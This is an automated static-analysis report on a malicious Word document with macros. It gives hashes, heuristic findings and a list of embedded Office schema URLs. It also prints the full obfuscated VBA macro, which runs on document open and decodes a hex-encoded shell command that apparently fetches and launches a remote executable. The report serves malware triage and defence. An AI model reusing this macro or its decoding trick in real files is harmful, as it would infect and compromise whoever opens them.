Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d98ca4d6fa0db82e…

MALICIOUS

Office (OOXML)

16.2 KB Created: 2020-08-28 10:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: f6679ace2b38520f865e7a8bde7cecac SHA-1: 7bcf86d0c4d908679464f3394a63bf7ab95a5784 SHA-256: d98ca4d6fa0db82e7a846deab46b76258deed6c17f20d72520a86b4bb398705d
164 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1432 bytes
SHA-256: b4687e190774e0a9d6ee1b31ff31e53241740a2a981208e672c18b42f4b11073
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub Document_Open()
Shell Replace(MCrfbwZAQkPxExEJCsGZZsfMEWLxoRIJCLEQUTcyjnKoE("ACB6AD6978AC69B9B8C0AEBBBCB1AEB5B577AEC1AE6976AEC1AEACBEBDB2B8B7B9B8B5B2ACC269ABC2B9AABCBC6976A06991B2ADADAEB76976ACB8B6B6AAB7AD6971B7AEC076B8ABB3AEACBD699CC2BCBDAEB67797AEBD77A0AEAB8CB5B2AEB7BD72778DB8C0B7B5B8AAAD8FB2B5AE7170B1BDBDB9BC837878AAB9B277B4AABBAEB577ACB5B8BEAD78C0B976B2B7ACB5BEADAEBC78B2B6AAB0AEBC7891AEB5B5B878B8B4AAC277AEC1AE70756DAEB7BF839DAEB6B97470A5B8B4AAC277AEC1AE7072847197AEC07698ABB3AEACBD6976ACB8B6699CB1AEB5B5778AB9B9B5B2ACAABDB2B8B772779CB1AEB5B58EC1AEACBEBDAE716DAEB7BF839DAEB6B97470A5B8B4AAC277AEC1AE7072"), " QQEE ", "")
End Sub
  Function MCrfbwZAQkPxExEJCsGZZsfMEWLxoRIJCLEQUTcyjnKoE(ggaaaaggg As String)
        Dim i As Integer
        gGdTkPGWUKkpFwmNYEAHHCrEvYSFPvHDSinPAmCEUAbUU = ""
        For i = 1 To Len(ggaaaaggg) Step 2
            gGdTkPGWUKkpFwmNYEAHHCrEvYSFPvHDSinPAmCEUAbUU = gGdTkPGWUKkpFwmNYEAHHCrEvYSFPvHDSinPAmCEUAbUU + Chr(CLng("&H" & Mid(ggaaaaggg, i, 2)) - 73)
        Next
        MCrfbwZAQkPxExEJCsGZZsfMEWLxoRIJCLEQUTcyjnKoE = gGdTkPGWUKkpFwmNYEAHHCrEvYSFPvHDSinPAmCEUAbUU
    End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9216 bytes
SHA-256: a321822f4b6135cd8498980e1b0f7ba4391edd3b3724f0fdfa177962662a86cb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).